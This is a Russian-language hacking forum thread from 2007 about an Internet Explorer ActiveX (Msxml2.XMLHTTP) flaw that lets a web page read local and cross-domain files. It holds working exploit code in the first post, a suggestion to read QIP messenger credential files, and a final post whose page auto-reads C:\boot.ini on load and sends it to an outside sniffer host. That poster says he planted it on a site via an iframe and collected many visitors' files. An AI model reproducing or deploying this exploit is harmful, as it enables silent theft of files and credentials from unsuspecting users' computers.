Cross Domain Scripting в Осле

Discussion in 'Уязвимости' started by V1k, 30 Jun 2007.

  1. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    Недавно, изучая стандартные ActiveX компоненты на предмет уязвимостей, наткнулся на одну занятную вещь: если ActiveX компонент Msxml2.XMLHTTP объявить, как показано ниже, на него не действуют ограничения безопасности. Поэтому можно просмотреть произвольный локальный (например file:///c:/boot.ini) или удаленный (http://forum.antichat.ru) файл с любого домена. Тестировал на IE 6 XP SP2 - работает, на IE 7 Vista - нет. Может есть у кого полностью запатченный Осел, проверить, исправил ли Мелкософт этот баг?
    HTML:
    <script>
    function readfile(filename)
    {
    	try
    	{
    		var xmlobj = document.createElement ('object');
    		xmlobj.setAttribute ('id','xmlobj');
    		xmlobj.setAttribute ('classid','clsid:88D969EA-F192-11D4-A65F-0040963251E5');
    		xmlobj.open ('get',filename, false);
    		xmlobj.send ();
    		var text = xmlobj.responseText;
    		xmlobj = null;
    		return text;
    	}
    	catch(e)
    	{
    		return 'Ошибка! '+e.description;
    	}
    }
    </script>
    <textarea id='text1' cols=60 rows=15></textarea></br>
    <input size=58 id='file1'/>
    <input type=button value='Открыть' onclick='text1.value=readfile(file1.value)'/>
    
     
    1 person likes this.
  2. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Хм. Довольно интересная информация. Но вот я не очень понимаю, что это может дать? Автор объясни пожалуйста! И, наконец, кто нить у кого пропатченный есть осел, скажите, залатали или нет?
     
  3. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Локальные файлы не показывает, удалённые показывает
     
  4. AHTOLLlKA

    AHTOLLlKA Member

    Joined:
    1 Feb 2005
    Messages:
    225
    Likes Received:
    35
    Reputations:
    22
    а удобно былоб.. надергал локально инфы.. и через тот же Get выслал на гейт куданить ))

    првоерил локально не пашет =\
     
  5. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    удаленные читает с любых доменов?
    как указываете путь к файлу?
    Alexsize
    file://localhost/c:/Program Files/QIP/Users/Accounts.cfg и т.д. и т.п;)
     
  6. Raz0r

    Raz0r Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    126
    Likes Received:
    20
    Reputations:
    0
    У меня осел сразу ругается на содержимое сайта, хотя если ему запретить блокировать activex, все работает.
     
  7. md5f1h

    md5f1h Member

    Joined:
    26 Jan 2007
    Messages:
    14
    Likes Received:
    8
    Reputations:
    0
    у мя Maxthon читает как локальные так и удаленные вот чуть чуть доделал
    <html>
    <script>
    function readfile(filename)
    {
    try
    {
    var xmlobj = document.createElement ('object');
    xmlobj.setAttribute ('id','xmlobj');
    xmlobj.setAttribute ('classid','clsid:88D969EA-F192-11D4-A65F-0040963251E5');
    xmlobj.open ('get',filename, false);
    xmlobj.send ();
    var text = xmlobj.responseText;
    xmlobj = null;
    return text;
    }
    catch(e)
    {
    return 'Ошибка! '+e.description;

    }
    }
    </script>
    <form action="http://sniffer.ru/sniffer.php" id=form1 method="GET">
    <textarea name='text1' value=" " cols=60 rows=15></textarea><br>
    <input type="submit">
    </form>

    <input type="hidden" name="file1" value="file:///C:\boot.ini" />
    <body onload="javascript:text1.value=readfile(file1.value); javascript:form1.submit();">
    </html>
    ставил на сайт через фрейм пришло давольно много файлов boot.ini :)